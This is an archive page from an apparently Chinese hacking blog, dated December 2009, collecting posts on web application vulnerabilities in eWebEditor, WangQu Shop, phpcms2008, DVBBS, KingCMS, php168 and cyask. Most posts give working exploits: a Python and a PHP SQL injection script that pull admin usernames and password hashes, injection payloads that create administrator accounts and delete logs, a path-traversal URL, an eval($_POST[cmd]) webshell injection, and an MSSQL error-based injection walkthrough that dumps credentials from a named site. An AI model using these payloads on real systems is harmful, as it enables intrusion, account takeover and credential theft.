浏览模式: 标准 | 列表2009年12月的文章

ewebeditor 5.2 列目录漏洞

Submitted by admin
2009, December 23, 11:02 PM

出现漏洞的文件存在于ewebeditor/asp/browse.asp

ASP/Visual Basic代码
Function GetList()
Dim s_List, s_Url
s_List = ""
Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName
'Response.Write sCurrDir
'On Error Resume Next
Set oFSO = Server.CreateObject("Scripting.FileSystemObject")
Set oUploadFolder = oFSO.GetFolder(Server.MapPath(sCurrDir))
'注意一下sCurrDir变量,这个值等下我们可以用到
If Err.Number>0 Then
s_List = ""
Exit Function
End If

If sDir <> "" Then
If InstrRev(sDir, "/") > 1 Then
s_Url= Left(sDir, InstrRev(sDir, "/") - 1)
Else
s_Url = ""
End If

s_List = s_List & "" & _
"" & _
".." & _
" " & _
""
End If
'Response.Write sDir&"!"&s_List

Dim oSubFolder
For Each oSubFolder In oUploadFolder.SubFolders
'Response.Write oUploadFolder.SubFolders
If sDir = "" Then
s_Url = oSubFolder.Name
Else
s_Url = sDir & "/" & oSubFolder.Name
End If
s_List = s_List & "" & _
"" & _
"" & oSubFolder.Name & "" & _
" " & _
""
Next
'Response.Write s_List

Set oUploadFiles = oUploadFolder.Files

For Each oUploadFile In oUploadFiles
'Response.Write oUploadFile.Name
sFileName = oUploadFile.Name
If CheckValidExt(sFileName) = True Then
'这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了
If sDir = "" Then
s_Url = sContentPath & sFileName
Else
s_Url = sContentPath & sDir & "/" & sFileName
End If

s_List = s_List & "" & _
"" & FileName2Pic(sFileName) & "" & _
"" & sFileName & "" & _
"" & GetSizeUnit(oUploadFile.size) & "" & _
""
End If
Next
Set oUploadFolder = Nothing
Set oUploadFiles = Nothing
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url

If sDir = "" Then
s_Url = ""
's_Url = "/"
Else
s_Url = "/" & sDir & ""
's_Url = "/" & sDir & "/"
End If

s_List = s_List & ""
s_List = HTML2JS(s_List)
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url
s_List = "parent.setDirList(""" & s_List & """, """ & s_Url & """)"
GetList = s_List
End Function
'如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名
Function CheckValidExt(s_FileName)
If sAllowExt = "" Then
CheckValidExt = True
Exit Function
End If

Dim i, aExt, sExt
sExt = LCase(Mid(s_FileName, InStrRev(s_FileName, ".") + 1))
CheckValidExt = False
aExt = Split(LCase(sAllowExt), "|")
For i = 0 To UBound(aExt)
If aExt(i) = sExt Then
CheckValidExt = True
Exit Function
End If
Next
End Function
'我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的
Sub InitParam()
sType = UCase(Trim(Request.QueryString("type")))
sStyleName = Trim(Request.QueryString("style"))

Dim i, aStyleConfig, bValidStyle
bValidStyle = False
For i = 1 To Ubound(aStyle)
aStyleConfig = Split(aStyle(i), "|||")
If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then
bValidStyle = True
Exit For
End If
Next

If bValidStyle = False Then
OutScript("alert('Invalid Style.')")
End If

sBaseUrl = aStyleConfig(19)
'nAllowBrowse = CLng(aStyleConfig(43))
nAllowBrowse = 1

If nAllowBrowse <> 1 Then
OutScript("alert('Do not allow browse!')")
End If

sUploadDir = aStyleConfig(3)
If Left(sUploadDir, 1) <> "/" Then
Select Case sType
Case "REMOTE"
sUploadDir = "../../" & sUploadDir & "Image/"
Case "FILE"
sUploadDir = "../../" & sUploadDir & "Other/"
Case "MEDIA"
sUploadDir = "../../" & sUploadDir & "Media/"
Case "FLASH"
sUploadDir = "../../" & sUploadDir & "Flash/"
Case Else
sUploadDir = "../../" & sUploadDir & "Image/"
End Select
End If
'sUploadDir =sUploadDir &"/"

Select Case sBaseUrl
Case "0"
'sContentPath = aStyleConfig(23)
Select Case sType
Case "REMOTE"
sContentPath = "../" & aStyleConfig(3) & "Image/"
Case "FILE"
sContentPath = "../" & aStyleConfig(3) & "Other/"
Case "MEDIA"
sContentPath = "../" & aStyleConfig(3) & "Media/"
Case "FLASH"
sContentPath = "../" & aStyleConfig(3) & "Flash/"
Case Else
sContentPath = "../" & aStyleConfig(3) & "Image/"
End Select
Case "1"
sContentPath = RelativePath2RootPath(sUploadDir)
Case "2"
sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir))
End Select

Select Case sType
Case "REMOTE"
sAllowExt = aStyleConfig(10)
Case "FILE"
sAllowExt = aStyleConfig(6)
Case "MEDIA"
sAllowExt = aStyleConfig(9)
Case "FLASH"
sAllowExt = aStyleConfig(7)
Case Else
sAllowExt = aStyleConfig(8)
End Select

sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址
sDir = Trim(Request("dir")) '得到dir变量
sDir = Replace(sDir, "\", "/") '对dir变量进行过滤
sDir = Replace(sDir, "../", "")
sDir = Replace(sDir, "./", "")
If sDir <> "" Then
If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then
sCurrDir = sUploadDir & sDir & "/"
'重点就在这里了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了
'虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用st0p会在下面的利用中给出
Else
sDir = ""
End If
End If

End Sub


嘿嘿,看到这你应该明白了,其实就是对dir过滤的问题,我们完全可以构造特殊的值来跳过验证,这样就可以得到目录结构和显示设置文件中允许的文件后缀的文件了..
利用方法如下
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=…././/..
由于st0p测试的时候,上传目录是根目录下的uploadfile,通过上面的地址就可以得到根目录下的所有目录了.
嘿嘿,如果你发现打开的时候显示的是空白,不要灰心,这就对了,直接查看源代码,看到了吗,里面就有你根目录的目录名字了.
嘿嘿,他根目录下有个guest目录,我们通过下面的地址可以列出他下面的结构
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/guest
然后我们也可以通过
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=…././/../…././/..
可以往更上层跳,我测试的那个虚拟主机,得到的是www,logfile,datebase这三个目录.

网趣购物商城V9.6SQL注入利程序

Submitted by admin
2009, December 20, 10:17 AM

################################################################################
#                 网趣购物商城V9.6SQL注入利程序
#              NaMe:WangQu Shop V9.6 SQL Injection Vulnerability
#              Author : shaun
#              Blog : www.virusest.com
#              Contact : virusest@gmail.com  QQ:403688546
#              Google Dork : inurl:class.asp?lx+anid
#              Script site : http://www.cnhww.com/
#              Date : 20/12/2009
################################################################################

import sys
import os
import time
import http.client

if sys.platform == 'linux' or sys.platform == 'linux2':
    clearing = 'clear'
else:
    clearing = 'cls'
os.system(clearing)


if len(sys.argv) != 2:
    print("\n-----------------------------------------------------------------")
    print("| virusest@gmail.com                                              |")
    print("| 12/09    WangQU shop SQL Injection Tool                         |")
    print("| Help: 1.py -h                                                   |")
    print("| Visit www.virusest.com                                          |")
    print("|---------------------------------------------------------------|\n")
    sys.exit(1)

for arg in sys.argv:
    if arg == '-h':
        print("\n-------------------------------------------------------------")
        print("| virusest[@]gmail[dot]com                                    |")
        print("| 12/09  WangQU shop SQL Injection Tool                       |")
        print("| Usage: 1.py www.site.com newsid                             |")
        print("| Example: 1.py www.virusest.com 65                           |")
        print("| Visit www.virusest.com                                      |")
        print("|------------------------------------------------------------|\n")
        sys.exit(1)

site = sys.argv[1].replace("http://","").rsplit("/",1)[0]
site = site.lower()


injecturl = '/textbox2.asp?action=modify&newsid=65%20and%201=2%20union%20select%201,2,admin%2Bpassword,4,5,6,7,8%20from%20cnhww'


print("\n--------------------------------------------------------------------------------")
print("|              virusest@gmail.com                                                |")
print("|              12/09  WangQU shop SQL Injection Tool                             |")
print("|              Visit www.virusest.com                                            |")
print("\n[-] %s" % time.strftime("%X"))
print("[+] Target:",site)
print("[+] Cracking,wait.....")


try:
    conn = http.client.HTTPConnection(site)
       
    conn.request("Get",injecturl)
    response = conn.getresponse()
    page = response.read()
    response.close()
    print(page)

except(KeyboardInterrupt,SystemExit):
    raise
except:
    print("cancel")
    pass
大小: 48.88 K
尺寸: 500 x 325
浏览: 51 次
点击打开新窗口浏览全图

[URL=upload/200912200059521875.rar]Download Me[/URL]
Developed under Phyton ver 3.1, Make sure you have installed it Before using。

Tags: 网趣

phpcms2008 最新0day & Exp(转)

Submitted by admin
2009, December 19, 3:36 PM

漏洞存在于yp/job.php的17-34行,urldecode函数惹的祸,代码如下:

==========================================================
switch($action)
{
case 'list':
$catid = intval($catid);
$head['keywords'] .= '职位列表';
$head['title'] .= '职位列表'.'_'.$PHPCMS['sitename'];
$head['description'] .= '职位列表'.'_'.$PHPCMS['sitename'];
$templateid = 'job_list';
if($inputtime)
$time = time() - 3600*$inputtime*24;
else $time = 0;
if($time < 0 )$time = 0;
$where = "j.updatetime >= '{$time}' ";
$genre = urldecode($genre);
if($station)$where .= "AND j.station = '{$station}' ";
if($genre)$where .= "AND c.genre = '{$genre}' ";
if(!trim($where))$where = '1';
break;

=================================================================

exp:

<?

if ($argc != 4)
usage ();

$hostname = $argv [1];
$path = $argv [2];
$userid = $argv [3];
$prefix="phpcms_";
//$key = "abcdefghijklmnopqrstuvwxyz0123456789";
$pos = 1;
$chr = 0;


function usage ()
{
global $argv;
echo
"\n[+] PhpCms 2008 (job.php \$genre) Blind SQL Injection Exploit".
"\n[+] Author: My5t3ry".
"\n[+] Site  : http://hi.baidu.com/netstart".
"\n[+] Usage : php ".$argv[0]." <hostname> <path> <userid>".
"\n[+] Ex.   : php ".$argv[0]." localhost /yp 1".
"\n\n";
exit ();
}

function request ($hostname, $path, $query)
{
$fp = fsockopen ($hostname, 80);

$request = "GET {$path}/job.php?action=list&inputtime=0&station=4&genre={$query} HTTP/1.1\r\n".
"Host: {$hostname}\r\n".
"Connection: Close\r\n\r\n";

fputs ($fp, $request);

while (!feof ($fp))
$reply .= fgets ($fp, 1024);

fclose ($fp);
return $reply;
}

function exploit ($hostname, $path, $uid, $fld, $chr, $pos)
{
global $prefix;

$chr = ord ($chr);

$query = "x' OR ASCII(SUBSTRING((SELECT {$fld} FROM ".$prefix."member WHERE userid = '{$uid}'),{$pos},1))={$chr} OR '1' = '2";

$query = str_replace (" ", "%20", $query);

$query = str_replace ("'", "%2527", $query);

$outcode = request ($hostname, $path, $query);

preg_match ("/<span class=\"c_orange\">(.+)<\/span>/", $outcode, $x);

if (strlen (trim ($x [1])) == 0)
return false;
else
return true;
}

$query = "x%2527";

$outcode = request ($hostname, $path, $query);

preg_match('/FROM `(.+)yp_job/ie',$outcode,$match);

$prefix=$match[1];

//function lengthcolumns ()
//{
echo "\n--------------------------------------------------------------------------------\n";
echo " PhpCms 2008 (job.php \$genre) Blind SQL Injection Exploit\n";
echo " By My5t3ry (http://hi.baidu.com/netstart)\n";
echo "\n--------------------------------------------------------------------------------\n";
echo "[~]trying to get pre...\n";

if ($match[1]) {

echo '[+]Good Job!Wo Got The pre -> '.$match[1]."\n";
}

else {
die(" Exploit failed...");
}

echo "[~]trying to get username length...\n";
$exit=0;
$length=0;
$i=0;
while ($exit==0)
{
$query = "x' OR length((select username from ".$prefix."member Where userid='{$userid}'))=".$i." OR '1'='2";

$query = str_replace (" ", "%20", $query);

$query = str_replace ("'", "%2527", $query);

$outcode = request ($hostname, $path, $query);

$i++;

preg_match ("/<span class=\"c_orange\">(.+)<\/span>/", $outcode, $x);
//echo $outcode;
if ($i>20) {die(" Exploit failed...");}  

if (strlen (trim ($x [1])) != 0) {
$exit=1;
}else{
$exit=0;
}
}

$length=$i-1;
echo "[+]length -> ".$length;

//    return $length;
//}

echo "\n[~]Trying to Crack...";
echo "\n[+]username -> ";

while ($pos <= $length)
{
$key = "abcdefghijklmnopqrstuvwxyz0123456789";

if (exploit ($hostname, $path, $userid, "username", $key [$chr], $pos))
{
echo $key [$chr];
$chr = -1;
$pos++;
}
$chr++;
}

$pos = 9;

echo "\n[+]password(md5) -> ";

while ($pos <= 24)
{
$key = "abcdef0123456789";
if (exploit ($hostname, $path, $userid, "password", $key [$chr], $pos))
{
echo $key [$chr];
$chr = -1;
$pos++;
}
$chr++;
}

echo "\n[+]Done!";
echo "\n\n--------------------------------------------------------------------------------";

?>

Tags: phpcms

网趣漏洞说明:
最新问题出在getpwd4.asp  这个文件有注射漏洞!

因为程序思路是想接受从上一个设置密码的表单文件中提交过来的变量,不过在这里我们可以不给它提交表单变量,而让它来接受我们设置的cookie,passwd是用request.from 来接受的,所以我们用一下的表单提交。

表单内容:
<form method="post" action="http://www.shouji168.net/getpwd4.asp" >
<!--下面的123456要改成的新密码-->
<input name="passwd" type="text" id="receipt" size="12" value="123456">
<input class=go-wenbenkuang type="submit" value=" 设置密码 " name="submit">
</form>


语句:
改任意用户密码。
javascript:alert(document.cookie="username="+escape("windows")

测试注入:
javascript:alert(document.cookie="username="+escape("windows' and '1'='1"))
javascript:alert(document.cookie="username="+escape("windows' and '1'='2"))

javascript:alert(document.cookie="username="+escape("windows' and (select len(password) from cnhww)>1 and '1'='1"))

javascript:alert(document.cookie="username="+escape("windows' and (select top 1 asc(mid(admin,1,1)) from cnhww)>96 and '1'='1"))

利用方式:
比如:第一个改任意用户密码
1: 首先将表单内容保存到本地,随便取个名字,htm的。     
2:然后打开网站http://www.shouji168.net/   在地址栏输入javascript:alert(document.cookie="username="+escape("windows")
(windows是已经有的用户,但是密码不清楚)
3:打开本地的表单,然后点设置密码
4:会出现密码更新成功,就被改为123456

第二个注入:方法更上面一样利用,  当1=1时   同样是会显示密码更新成功,但是等于2时会出现没有注册请到前台注册。

很明显有注入漏洞。

但是在遇到这个站的时候我有点蒙了,

希望大家看下
javascript:alert(document.cookie="username="+escape("windows' and (select top 1 len(password) from admin)>1 and '1'='1"))
执行后  应该存在admin这个表,但是可能语句问题  总出错

但是在猜password的asc码的时候

javascript:alert(document.cookie="username="+escape("windows' and (and (select top 1 asc(mid(password,1,1)) from admin)>107 and '1'='1"))

=========待补充

讨论:http://www.t00ls.net/thread-3751-1-4.html

Tags: 网趣

网趣网上购物系统时尚版 v3.2注入漏洞

Submitted by admin
2009, December 18, 11:38 PM

涉及版本:网趣网上购物系统时尚版 v3.2
漏洞文件:getpwd2.asp,getpwd3.asp,getpwd4.asp
漏洞描述:变量username未经过滤带入sql查询,存在SQL注入漏洞.
关键代码:

<%
username=request.form("username")
set rs=Server.CreateObject("Adodb.Recordset")
sql="select * from [user] where username='"&username&"' "
rs.open sql,conn,1,1
If rs.eof Then
%>
<script language="javascript">
alert("这个用户没有注册,请注册!")
;javascrip:close();</script>
<%
End If
%>
<html><head><title>取回密码 | 回答问题</title>
<meta http-equiv="Content-Language" content="zh-cn">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link href="images/css.css" rel="stylesheet" type="text/css">
<script language="javascript">
<!--
function form1_onsubmit() {
if (document.form1.answer.value=="")
{
alert("请输入您的问题答案。")
document.form1.answer.focus()
return false
}
}
// --></script>

利用方法:
post提交数据(可以借用剑心的Sql.htm[http://www.loveshell.net/blog/blogview.asp?logID=70]),默认管理员ID为4,密码为16位md5(小写字母),确定下范围0-9的asc值48-57,小写字母的asc值97-122

' or (select count(*) from admin where adminid=4 and asc(mid(password,N,1)) between 48 and 57)<>0 and ''='

' or (select count(*) from admin where adminid=4 and asc(mid(password,N,1)) between 97 and 122)<>0 and ''='

正确返回"取回密码",错误返回对话框"这个用户没有注册,请注册!"

Tags: 网趣

网趣网上购物系统时尚版v3.0注册注射漏洞

Submitted by admin
2009, December 18, 10:53 AM

作者:莫ㄨ问[B.H.S.T]&李宓
来源:www.vcsec.cn 本站原创

漏洞版本:网趣网上购物系统时尚版v3.0[其他版本暂未查看]
漏洞文件:register.asp在代码398-404行

具体代码如下:

sub saveuser()
// 利用session验证是否重复验证,这个好绕过,不过很烦人...需要重新开启IE就可以了.
if session("regtimes")=1 then
response.Write "<table width=100% border=0 cellspacing=0 cellpadding=0 align=center><tr><td height=300 align=center><font color=red>对不起,您刚注册过用户,请稍后再进行注册!</font></td></tr></table>"
response.End
end if
set rs=server.CreateObject("adodb.recordset")
// 判断注册的邮箱和用户名是否重复,只过滤了空格
rs.open "select * from [user] where UserEmail='"&trim(request("useremail"))&"' or UserName='"&trim(request("username"))&"'",conn,1,1
if rs.recordcount>0 then
---------------------后面插入数据库-------------------------


比如你已经正常注册了一个Vcor的用户,邮箱awolf858@gmail.com
然后现在注册邮箱不一样哦
1.vcor' and '1'='1   //提示已存在的用户 这样检测出来是已经存在所以会提示重复
2.awolf ' and '1'='1 //提示注册成功.
另外用户名这里有长度限制可以本地突破.
大家自己测试.有点麻烦,利用session验证了.
如图:1.bmp

 

Tags: 网趣

dvbbs 8.2前台0day

Submitted by admin
2009, December 18, 10:25 AM

内部板块发布:
利用:
发帖子,标题为下面的sql语句,然后点评论。0为中立, 1为支持, 2为反对 都行。
这时sql语句被执行
库名:
a','',1,'hang','2008-2-4','',2);update/**/dv_user/**/set/**/useremail=db_name()/**/where/**/username='hang'--

加前台和后台管理员:
a','',1,'hang','2008-2-4','',2);update dv_user set UserGroupID=1 where username='hang';insert into dv_admin(Username,Password,Flag,Adduser)values('hang','965eb72c92a549dd',',4,','hang')--

进入后台,通过注入再获取全部权限:
http://www.lnhonker.cn/Admin/help.asp?action=view&id=1;update/**/dv_admin/**/set/**/flag='1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45'/**/where/**/username='hang'--

清理数据库记录(有三个表):
http://www.lnhonker.cn/Admin/help.asp?action=view&id=1;delete/**/from/**/dv_log/**/where/**/l_username='hang';delete/**/from/**/dv_topic/**/where/**/PostUsername='hang';delete/**/from/**/Dv_Appraise/**/where/**/UserName='hang'--
(因为是通过后台注入来执行delete语句,所以最后Dv_log还是有一条关于后台help.asp文件访问记录)

来源:小航's Blog

Tags: dvbbs, oday

kingcms 5.0 fckeditor 漏洞

Submitted by admin
2009, December 18, 10:22 AM

来源:JT BLOG

影响版本:5.0

漏洞描述:

小新研究咋拿shell 一起看了下..结合了fckeditor的cms,认真看过我blog的人 现在也都应该熟悉了那几种方法了

直接讲利用吧...

又是本地构造咯...代码前面文章有...就不贴了..

kingcms 5.0 fckeditor 路径在 admin/system/editor/fckeditor/

把本地的马命名为 hx.asp;jpg 注意看 jpg前面没有点了..

OK了..其实以后做站结合fckeditor这类的编辑器..最好加个验证..只有管理才能访问..这样或者比较好吧

精简掉也不错..其实改下后台地址就可以避免了

php168 v6.0拿shell漏洞

Submitted by admin
2009, December 18, 10:14 AM

by:mr_xhming
分两步 第一 do/下jsarticle.php文件
if(!eregi("^(hot|com|new|lastview|like|pic)$",$type)){
die("类型有误");
}
$FileName=dirname(__FILE__)."/../cache/jsarticle_cache/";
if($type==’like’){
$FileName.=floor($id/3000)."/";
}else{
unset($id);
}

$FileName.="{$type}_{$fid}_{$id}.php";
..................
if(!is_dir(dirname($FileName))){
makepath(dirname($FileName));
}
if( (time()-filemtime($FileName))>($webdb["cache_time_$type"]*60) ){
write_file($FileName,"");

//write_file上面覆盖任意php文件!因为id没过滤

}

第二 do/bencandy.php文件
require_once(dirname(__FILE__)."/"."global.php");
!$aid && $aid = intval($id);
$id = $aid;
$page<1 && $page=1;

$min=intval($page)-1;
$erp=$Fid_db[iftable][$fid]?$Fid_db[iftable][$fid]:’’;
$rsdb=$db->get_one("Select R.*,A.* FROM {$pre}article$erp A LEFT JOIN {$pre}reply$erp R ON A.aid=R.aid Where A.aid=$aid orDER BY R.topic DESC,R.orderid ASC LIMIT $min,1");

if(!$rsdb){
showerr("数据不存在!");
}elseif($fid!=$rsdb[fid]){
showerr("FID有误");
}
........................
$Cache_FileName=PHP168_PATH."cache/bencandy_cache/".floor($id/3000)."/{$id}_{$page}.php";
if(!$jobs&&$webdb[bencandy_cache_time]&&(time()-filemtime($Cache_FileName))<($webdb[bencandy_cache_time]*60)){
echo read_file($Cache_FileName);
exit;
}
..................................

if(!$jobs&&$webdb[bencandy_cache_time]&&(time()-filemtime($Cache_FileName))>($webdb[bencandy_cache_time]*60)){

if(!is_dir(dirname($Cache_FileName))){
makepath(dirname($Cache_FileName));
}
$content.=" ";
write_file($Cache_FileName,$content); //注意这里写文件了
}elseif($jobs==’show’){
@unlink($Cache_FileName);
}
到这里大概问题也差不多搞清楚了,我们看下$content,其实它是作过初始化的,往上可以看到require(PHP168_PATH."inc/foot.php");这样一句,初始化就在这里,我们利用第一个问题,覆盖这文件里的内容,接下来我们就可以直接提交$content变量注入shell代码了!

利用:
do/jsarticle.php?type=like&id=xhming/../../../../inc/foot
do/bencandy.php?fid=4&id=582&content=
cache/bencandy_cache/0/582_1.php //记住id值,由于有缓存和时间的判断每一步要等会

Tags: php168

域名访问出错

Submitted by admin
2009, December 17, 10:17 AM

晕倒,今天早上一打开网站,竟然出错,去域名提供商那儿看看域名解析,没有出错,空间提供商那儿也是正常的,很郁闷,再试试输入st999.cn又可以正常访问,就是不能带www,想了想,还是去空间提供商那儿修改了域名接入,以前的域名管理是st999.cn,又增加了个www.st999.cn,还好,二十分钟左右就恢复正常了,不知道是DNS临时出问题还是我增加的这个www.st999.cn另名的效用。。。

Tags: 域名

cyask的一个本地读文件的漏洞利用

Submitted by admin
2009, December 14, 4:33 PM

By:linkboy

昨天在晚上看到了一个这样的文章,却没有人说利用的方法,自己研究了一下,原来这么简单。
下面是这篇文章的内容。

下午帮同事看一个站,DZ的论坛,该补的都补了,咱也没圈day
然后逛了下有个仿百度知道的程序在上面,和DZ整合了,原以为也是Dz开发的,估计也没啥问题
下来看代码,看到collect.php

——————————-

else
{
/*
检查网址
*/
$url=get_referer();
$neturl=empty($_POST['neturl']) ? trim($_GET['neturl']) : trim($_POST['neturl']);

$collect_url=empty($neturl) ? $url : $neturl;

$contents = ”;
if($fid=@fopen($collect_url,”r“))
{
do
{
$data = fread($fid, 4096);
if (strlen($data) == 0)
{
break;
}
$contents .= $data;
}
while(true);
fclose($fid);
}
else
{
show_message(’collect_url_error’, ”);
exit;
}

———————————-
害人啊,本来还挺安全的一个站,整合个毛呃……

找一个cyask的网站,在其上面注册,然后登录后,输入http://www.×××.com/collect.php?neturl=config.inc.php 在内容快照里面点右键,点查看源文件,哇,什么都看到了,我只是说出来利用方法,希望大家尽早补漏洞。一切损失与本人无关哦!

------------------------------------------------------------------------------------

powered by cyask

漏洞页面:collect.php
注册用户 http://www.xx.com/collect.php?neturl=config.inc.php

管理员表:cdb_members
问题答案 security quesotion

默认后台: http://www.xx.com/ask/admin.php

编辑器编辑actions 对应actions.lang.php

在最下方guest的默认值改为丛林\\');eval($_POST[cmd])?>;//
链接地址http://www.xx.com/bbs/templates/default/actions.lang.php

Tags: cyask

MSSQL显错模式的手工注入实现原理思考和实战

Submitted by admin
2009, December 13, 11:04 PM

by Ay暗影

    说到Mssql手工注入,本人喜欢显错模式的,为啥呢,因为你只要构造一个语句,不用你一个一个特意的去猜,程序会自动告诉你我们要的信息,省时省力,不像不显错模式的盲注,可以让你猜上个半天。进入正题,下面来说说我对显错模式原理的思考。

    显错模式,起初也是为了方便程序员修改代码,但是,这正好被我们利用了,我们故意让程序出错来爆出我们要的敏感信息。

    上次我说到过having 1=1 和group by的显错模式是通过语法错误来达到我们的目的,这次我说的出错是数据转换出错,就是通过数据转换让数据发生溢出来完成我们的动作。

    我们应该都听说数据类型,比如int,char,等等。。。当我们定义好一个数据时,也就定义好了一个数据的长度,比如,int 型是4个字节的长度,如果一个数据超过了4个字节的长度的话,该数据就会发生溢出而失去准确性,从而编译软件会显示出错信息。

    在数据转换时有个规则,就是短的可以转换成长的,但是长的不能转换成短的,什么意思呢,就是比如数据库中有整型数据tinyint(一个字节长度)、smallint(两个字节长度)、int(四个字节长度),tinyint可以向上转化成smallint、int而不会出错,但是不能反向转化把int转化为smallint和tinyint,否则会发生数据溢出。为啥呢,这个应该很容易理解,一个数据本来是4个字节长度的,转换成2个字节长度的数据类型的话,这个2个字节的空间就装不下了,数据就丢失了,同理,反过来就可以了,2个字节的数据可以换到4个字节的空间里,数据是不会丢失出错的。

我在使用这个方法时用到下面两个函数

数据转换函数

convert(数据类型,表达式(就是要转换的对象))

cast(表达式 as 数据类型)


在注入时我们要用到的语句:

因为光是用group by 和having 不能完成我们的检测过程,所以我们要配合其他系统函数的查表功能,因为上面必须要知道表名才能利用


第一种函数

select name from sysobjects where xtype='u'  通过这个来爆第一个表

select name from sysobjects where xtype='u' and name not in('爆出来的表1','爆出来的表2'...)

一直爆下去,直到找到我们所需要的表位置


第二种函数

select table_name from information_schema.tables

select table_name from information_schema.tables where table_name not in ('爆出来的表1','爆出来的表2'...)。


实战练习

目标 http://www.xxx.com/shownews.aspx?id=3

首先拿个到一个注入点,我们要判断是什么类型的数据库mssql还是access或者其他。

一、我们提交

http://www.xxx.com/shownews.aspx?id=3 and user>0

我们得到用户名是:Jxb_Ojc_Zj_Cn

大小: 50.36 K
尺寸: 500 x 162
浏览: 44 次
点击打开新窗口浏览全图

二、我们提交

http://www.xxx.com/shownews.aspx?id=3 and db_name()>0

得到数据库也是:Jxb_Ojc_Zj_Cn

大小: 62.18 K
尺寸: 500 x 178
浏览: 39 次
点击打开新窗口浏览全图

三、继续提交

http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 name from sysobjects where xtype=u and status>0))

根据返回的结果,应该不是我们要的表

大小: 50.9 K
尺寸: 500 x 170
浏览: 44 次
点击打开新窗口浏览全图

四、接着提交(这中间省了好多步相同操作,直到发现很有可能存放用户名的表)

http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 name from sysobjects where xtype=u and status>0 and name not in ('FM_Page_Class, 'D99_Tmp', 'D99_CMD')))

哈哈,之前有人用啊D检测过。。。

大小: 58.01 K
尺寸: 500 x 175
浏览: 40 次
点击打开新窗口浏览全图

大小: 57.71 K
尺寸: 500 x 176
浏览: 37 次
点击打开新窗口浏览全图

五、确定了表明之后,我们来利用having 1=1 来爆出表里的列明

提交 http://www.xxx.com/shownews.aspx?id=3 select * from FM_admin having 1=1

爆出了所有的列名,哈哈,不过一般情况下是只爆出一个列,那就要用到group by了。

大小: 145.59 K
尺寸: 500 x 281
浏览: 50 次
点击打开新窗口浏览全图

六、整理下我们手上的资料,我们得到了表和列,那我们就要开始爆它字段的内容了

提交: http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 adminname from fm_admin))

爆出了用户名:admin

大小: 60.29 K
尺寸: 500 x 173
浏览: 54 次
点击打开新窗口浏览全图

接着提交: http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 password from fm_admin))

爆出了密码:BD2C2**********BF2F4284BFDA1

大小: 59.73 K
尺寸: 500 x 179
浏览: 47 次
点击打开新窗口浏览全图

当然,还有其他密码,我们可以加一个限制条件来爆出其他用户名和密码,

分别提交: http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 adminname from fm_admin where username not in (admin)))

大小: 61.68 K
尺寸: 500 x 172
浏览: 41 次
点击打开新窗口浏览全图

http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 password from fm_admin where adminname not in (admin)))

大小: 50.28 K
尺寸: 500 x 151
浏览: 39 次
点击打开新窗口浏览全图

当然,这个where的限制条件可以自己变通下加,这个就看大家怎么想了,哈。

接下来其他的用户名和密码我就不爆了,还有很多个用户名和密码,方法同上,重复操作。

七、拿用户名和密码进后台

拿着爆出来的md5加密的密码去破解下,运气好,第一个密码就解了

大小: 17.31 K
尺寸: 500 x 129
浏览: 45 次
点击打开新窗口浏览全图

然后就是拿密码进后台了

大小: 48.35 K
尺寸: 500 x 231
浏览: 36 次
点击打开新窗口浏览全图

入侵就到这里了,拿shell我就不写下去了,哈哈。

希望这篇文章对大家有用处。。。

Records:34123